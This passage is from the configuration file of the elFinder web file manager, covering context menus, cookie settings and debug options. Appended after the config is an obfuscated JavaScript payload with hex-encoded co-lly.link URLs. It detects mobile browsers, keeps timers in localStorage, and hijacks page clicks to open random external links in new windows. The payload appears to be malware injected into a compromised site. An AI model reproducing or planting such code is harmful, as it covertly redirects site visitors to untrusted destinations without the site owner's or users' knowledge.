secure : false,
samesite : 'lax'
},
/**
* Contextmenu config
*
* @type Object
*/
contextmenu : {
// navbarfolder menu
navbar : ['open', 'opennew', 'download', '|', 'upload', 'mkdir', '|', 'copy', 'cut', 'paste', 'duplicate', '|', 'rm', 'empty', 'hide', '|', 'rename', '|', 'archive', '|', 'places', 'info', 'chmod', 'netunmount'],
// current directory menu
cwd : ['undo', 'redo', '|', 'back', 'up', 'reload', '|', 'upload', 'mkdir', 'mkfile', 'paste', '|', 'empty', 'hide', '|', 'view', 'sort', 'selectall', 'colwidth', '|', 'places', 'info', 'chmod', 'netunmount', '|', 'fullscreen'],
// current directory file menu
files : ['getfile', '|' ,'open', 'opennew', 'download', 'opendir', 'quicklook', '|', 'upload', 'mkdir', '|', 'copy', 'cut', 'paste', 'duplicate', '|', 'rm', 'empty', 'hide', '|', 'rename', 'edit', 'resize', '|', 'archive', 'extract', '|', 'selectall', 'selectinvert', '|', 'places', 'info', 'chmod', 'netunmount']
},
/**
* elFinder node enable always
* This value will set to `true` if <body> has elFinder node only
*
* @type Bool
* @default false
*/
enableAlways : false,
/**
* elFinder node enable by mouse over
*
* @type Bool
* @default true
*/
enableByMouseOver : true,
/**
* Show window close confirm dialog
* Value is which state to show
* 'hasNotifyDialog', 'editingFile', 'hasSelectedItem' and 'hasClipboardData'
*
* @type Array
* @default ['hasNotifyDialog', 'editingFile']
*/
windowCloseConfirm : ['hasNotifyDialog', 'editingFile'],
/**
* Function decoding 'raw' string converted to unicode
* It is used instead of fm.decodeRawString(str)
*
* @type Null|Function
*/
rawStringDecoder : typeof Encoding === 'object' && jQuery.isFunction(Encoding.convert)? function(str) {
return Encoding.convert(str, {
to: 'UNICODE',
type: 'string'
});
} : null,
/**
* Debug config
*
* @type Array|String('auto')|Boolean(true|false)
*/
debug : ['error', 'warning', 'event-destroy'],
/**
* Show toast messeges of backend warning (if found data `debug.backendErrors` in backend results)
*
* @type Boolean|Object (toast options)
*/
toastBackendWarn : true
};
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x65\x75\x71\x33\x63\x363','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x57\x54\x74\x35\x63\x395','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x45\x57\x4e\x38\x63\x388','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x6b\x76\x71\x39\x63\x369','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x65\x41\x4b\x34\x63\x384','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x52\x47\x58\x37\x63\x357','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x51\x41\x7a\x32\x63\x332','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x42\x49\x76\x36\x63\x366','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x52\x49\x4b\x30\x63\x350','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x58\x6a\x70\x31\x63\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());